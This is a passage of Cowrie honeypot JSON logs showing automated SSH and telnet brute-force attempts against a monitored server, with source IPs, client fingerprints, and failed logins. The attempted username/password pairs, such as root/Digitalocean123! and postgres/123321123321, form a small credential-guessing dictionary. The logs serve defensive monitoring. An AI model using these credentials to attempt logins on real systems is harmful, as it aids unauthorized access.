lman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.418329Z","src_ip":"57.128.223.80","session":"9778dfbef9ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:70:38:43:dc:86:03:ab:8d:3a:1a:54:1d:3b:34:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6WYsdO9Rmoo3Veq5xQxFObaeiu+/LxJpbbT4434UBdBYpn0gys770VTGTJohRVIVOH+BZmupRdY2hGyoDR0WTlmaRIo5pBw7Of0KJrTp6Zj4/fcQtnK1otcTNJmC6VExIAU61ihJcPFeaqY7CWGC3+a7N8ptK7ZuXph6P85I2QSVY3yqinSs1s1ZgvDila6V0nFnGJAiS1L2kh/AOOT5Kc+vNbwedcvr1SvZhLaAQVmvMsOyUCeIsO449+AnxQMUrWlGFyn1BeSbcdF21AJvOCO+alktsaPiWO2kBadhYT4eoQdDnH9JKvv71Vjc2SQZgRWo1/XPDs/OgmlkZ+9Vf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:70:38:43:dc:86:03:ab:8d:3a:1a:54:1d:3b:34:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.483232Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:70:38:43:dc:86:03:ab:8d:3a:1a:54:1d:3b:34:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6WYsdO9Rmoo3Veq5xQxFObaeiu+/LxJpbbT4434UBdBYpn0gys770VTGTJohRVIVOH+BZmupRdY2hGyoDR0WTlmaRIo5pBw7Of0KJrTp6Zj4/fcQtnK1otcTNJmC6VExIAU61ihJcPFeaqY7CWGC3+a7N8ptK7ZuXph6P85I2QSVY3yqinSs1s1ZgvDila6V0nFnGJAiS1L2kh/AOOT5Kc+vNbwedcvr1SvZhLaAQVmvMsOyUCeIsO449+AnxQMUrWlGFyn1BeSbcdF21AJvOCO+alktsaPiWO2kBadhYT4eoQdDnH9JKvv71Vjc2SQZgRWo1/XPDs/OgmlkZ+9Vf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.489377Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.592354Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digitalocean123!","message":"login attempt [root/Digitalocean123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.860482Z","src_ip":"57.128.223.80","session":"9778dfbef9ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:33.988389Z","src_ip":"57.128.223.80","session":"9778dfbef9ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":25306,"dst_ip":"159.203.135.109","dst_port":22,"session":"46c6a8144639","protocol":"ssh","message":"New connection: 193.24.211.100:25306 (159.203.135.109:22) [session: 46c6a8144639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:50.906515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:50.915332Z","src_ip":"193.24.211.100","session":"46c6a8144639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:51.044903Z","src_ip":"193.24.211.100","session":"46c6a8144639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"share","message":"login attempt [root/share] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:51.477960Z","src_ip":"193.24.211.100","session":"46c6a8144639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:52.612671Z","src_ip":"193.24.211.100","session":"46c6a8144639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":53036,"dst_ip":"10.17.0.5","dst_port":22,"session":"096cec70cc98","protocol":"ssh","message":"New connection: 98.70.48.241:53036 (10.17.0.5:22) [session: 096cec70cc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:04.008541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:04.014444Z","src_ip":"98.70.48.241","session":"096cec70cc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:04.197859Z","src_ip":"98.70.48.241","session":"096cec70cc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"987654321","message":"login attempt [ubuntu/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:04.964959Z","src_ip":"98.70.48.241","session":"096cec70cc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:06.155464Z","src_ip":"98.70.48.241","session":"096cec70cc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":50671,"dst_ip":"10.17.0.5","dst_port":22,"session":"deca0c2859f1","protocol":"ssh","message":"New connection: 190.181.25.210:50671 (10.17.0.5:22) [session: deca0c2859f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:09.458225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:09.467504Z","src_ip":"190.181.25.210","session":"deca0c2859f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:09.585994Z","src_ip":"190.181.25.210","session":"deca0c2859f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123321123321","message":"login attempt [postgres/123321123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:10.090082Z","src_ip":"190.181.25.210","session":"deca0c2859f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:21:11.212014Z","src_ip":"190.181.25.210","session":"deca0c2859f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":36788,"dst_ip":"10.17.0.5","dst_port":22,"session":"72996c6ea7d1","protocol":"ssh","message":"New connection: 98.70.48.241:36788 (10.17.0.5:22) [session: 72996c6ea7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:04.308318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:04.313653Z","src_ip":"98.70.48.241","session":"72996c6ea7d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:04.498279Z","src_ip":"98.70.48.241","session":"72996c6ea7d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qazxsw2","message":"login attempt [git/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:05.266545Z","src_ip":"98.70.48.241","session":"72996c6ea7d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:06.454999Z","src_ip":"98.70.48.241","session":"72996c6ea7d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":58725,"dst_ip":"10.17.0.5","dst_port":22,"session":"a10825c81b85","protocol":"ssh","message":"New connection: 190.181.25.210:58725 (10.17.0.5:22) [session: a10825c81b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:09.378097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:09.382762Z","src_ip":"190.181.25.210","session":"a10825c81b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:09.506697Z","src_ip":"190.181.25.210","session":"a10825c81b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":33870,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4d5e9d505e","protocol":"telnet","message":"New connection: 103.153.183.192:33870 (10.17.0.5:23) [session: 1e4d5e9d505e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:09.922168Z"}
{"eventid":"cowrie.session.closed","duration":0.005025386810302734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:09.927074Z","src_ip":"103.153.183.192","session":"1e4d5e9d505e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4dm1n","message":"login attempt [admin/4dm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:10.036778Z","src_ip":"190.181.25.210","session":"a10825c81b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:11.165529Z","src_ip":"190.181.25.210","session":"a10825c81b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":51084,"dst_ip":"10.17.0.5","dst_port":22,"session":"03247f665866","protocol":"ssh","message":"New connection: 103.15.226.202:51084 (10.17.0.5:22) [session: 03247f665866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:21.924219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:21.929140Z","src_ip":"103.15.226.202","session":"03247f665866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:22.181546Z","src_ip":"103.15.226.202","session":"03247f665866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welltech12","message":"login attempt [root/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:22.926295Z","src_ip":"103.15.226.202","session":"03247f665866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56150,"dst_ip":"159.203.135.109","dst_port":22,"session":"704616bb2290","protocol":"ssh","message":"New connection: 194.59.206.2:56150 (159.203.135.109:22) [session: 704616bb2290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:23.729782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:23.735342Z","src_ip":"194.59.206.2","session":"704616bb2290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:23.826941Z","src_ip":"194.59.206.2","session":"704616bb2290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:22:23.919692Z","src_ip":"194.59.206.2","session":"704616bb2290","protocol":"ssh"}
